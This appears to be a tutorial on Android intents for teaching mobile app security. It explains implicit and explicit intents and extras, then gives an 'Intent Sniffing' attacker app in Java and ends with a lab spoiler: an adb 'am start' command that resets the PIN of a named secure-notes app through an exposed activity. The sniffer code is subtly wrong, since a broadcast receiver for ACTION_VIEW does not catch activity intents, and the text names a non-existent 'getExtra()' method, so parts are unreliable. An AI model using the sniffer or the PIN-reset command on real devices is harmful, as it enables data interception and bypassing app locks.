Is a way of communicating between different components of an app or between different apps. It can be used to start an activity, a service, or a broadcast receiver, or to send data to another app. There are two types of intents: implicit and explicit.
Implicit Intents
Implicit intents do not specify the component to be invoked, but provide information on the action, data, or category of the component. The system then chooses the best component to handle the intent.
For example, if you want to open a web page, you can create an implicit intent with the action ACTION_VIEW and the URI of the web page. The system will then launch the best component to handle the intent, such as a web browser. Here is an example of creating and starting an implicit intent:
Code Example:
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.bing.com"));
startActivity(intent);
Explicit Intents
Explicit intents specify the component by name or class, and are used to start activities or services within the same app.
For example, if you want to start another activity within your app, you can create an explicit intent with the class of the target activity. The system will then launch the specified activity directly. Here is an example of creating and starting an explicit intent:
Code Example:
Intent intent = new Intent(this, SecondActivity.class);
startActivity(intent);
In android developer can use intent to exchange data between activities, services and broadcast receivers.
How to exchange data between two component via intents?
To exchange data between two components via intent, you can use the
putExtra()
method to attach extra data to the intent, and the getExtra()
method to retrieve the data from the intent. The data can be of primitive types, such as int, boolean, or String, or of Parcelable or Serializable types, such as custom objects. Here are some examples of how to exchange data between two activities using intents:To send data from one activity to another, you can create an intent with the target activity class and use the
putExtra()
method to add extra data with a key. For example, if you want to send a String value with the key "name" to SecondActivity, you can write:Intent intent = new Intent(this, SecondActivity.class);
intent.putExtra("name", "John");
startActivity(intent);
To receive data from an intent in another activity, you can use the
getIntent()
method to get the intent that started the activity, and use the getExtra()
method to get the extra data by the key. For example, if you want to get the String value with the key "name" from the intent in SecondActivity, you can write:Intent intent = getIntent();
String name = intent.getStringExtra("name");
Intent Sniffing
In this attack the hacker create app which listen for interesting intents. For example listen for SMSs, Emails, URLs and etc. which contains important data.
Example:
Attacker Application
//This is the malicious app that registers itself as a receiver for ACTION_VIEW intents
public class SnifferActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Create an intent filter for ACTION_VIEW intents
IntentFilter filter = new IntentFilter(Intent.ACTION_VIEW);
//Register a broadcast receiver for the filter
registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
//Get the data from the intent
Uri data = intent.getData();
//Do something with the data, such as logging it or sending it to a server
Log.d("Sniffer", "Sniffed data: " + data);
}
}, filter);
}
}
// You can define this broadcast receiver in manifest
Vulnerable Application
//This is the sender app that sends an ACTION_VIEW intent with a URL
public class SenderActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//Create an intent to view a web page
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://www.example.com"));
//Start an activity that can handle the intent
startActivity(intent);
}
}
Intent Filter
An intent filter is a way of telling Android what your app can do. For example, if your app can open a web page, you can use an intent filter to tell Android that your app can handle web links. Then, when the user clicks on a web link, Android will show your app as an option to open it. An intent filter has three parts: action, category, and data
Action
The action is what you want to do, such as view, edit, or send.
Category
The category is the type of app that can do the action, such as default, browser, or launcher.
Data
The data is the information that you need to do the action, such as a web address, a phone number, or a file name.
Reading More
Exploiting Secret Keeper APP
Spoil !!!
Exploiting Intent Sniffer
Spoil
am start -n ir.ravin.securenote/.activities.PinCodeActivity -e newpin 1234